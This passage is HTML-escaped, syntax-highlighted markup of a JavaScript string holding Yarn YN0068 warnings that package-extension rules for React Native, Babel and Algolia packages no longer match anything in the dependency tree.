#C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;173mautocomplete-plugin-algolia-insights&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m ➤ &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;111mpeerDependencies&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m ➤ &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;173malgoliasearch&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m: No matching package &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; the dependency tree&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; you may not need this rule anymore.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos; +&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;        &apos;&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[93m➤&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m YN0068: │ &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;166m@docsearch/&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;173mreact&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m ➤ &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;111mdependencies&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m ➤ &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;166m@algolia/&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;173mclient-search&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m: No matching package &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; the dependency tree&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; you may not need this rule anymore.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos; +&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;        &apos;&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[93m➤&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m YN0068: │ &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;166m@react-native/&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;173mbabel-plugin-codegen&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m ➤ &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;111mpeerDependencies&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m ➤ &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;166m@babel/&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;173mpreset-env&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m: No matching package &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; the dependency tree&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; you may not need this rule anymore.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos; +&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;        &apos;&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[93m➤&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m YN0068: │ &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;166m@react-native/&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;173mbabel-preset&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m ➤ &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;111mpeerDependencies&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m ➤ &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;166m@babel/&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;173mpreset-env&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m: No matching package &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; the dependency tree&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; you may not need this rule anymore.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos; +&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;        &apos;&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[93m➤&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m YN0068: │ &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;166m@react-native/&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;173mcommunity-cli-plugin&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m ➤ &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;111mpeerDependencies&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m ➤ &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;166m@babel/&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;173mpreset-env&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m: No matching package &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; the dependency tree&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; you may not need this rule anymore.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos; +&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;        &apos;&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[93m➤&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m YN0068: │ &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;166m@react-native/&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;173mmetro-babel-transformer&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m ➤ &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;111mpeerDependencies&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m ➤ &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;166m@babel/&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;173mpreset-env&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m: No matching package &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; the dependency tree&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; you may not need this rule anymore.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos; +&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;        &apos;&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[93m➤&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m YN0068: │ &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;173mbabel-plugin-transform-flow-enums&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m ➤ &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;111mpeerDependencies&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m ➤ &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;166m@babel/&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;173mcore&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m: No matching package &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; the dependency tree&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; you may not need this rule anymore.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos; +&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;        &apos;&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[93m➤&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m YN0068: │ &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;173mreact-native&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m ➤ &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;111mpeerDependencies&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m ➤ &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;166m@babel/&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: 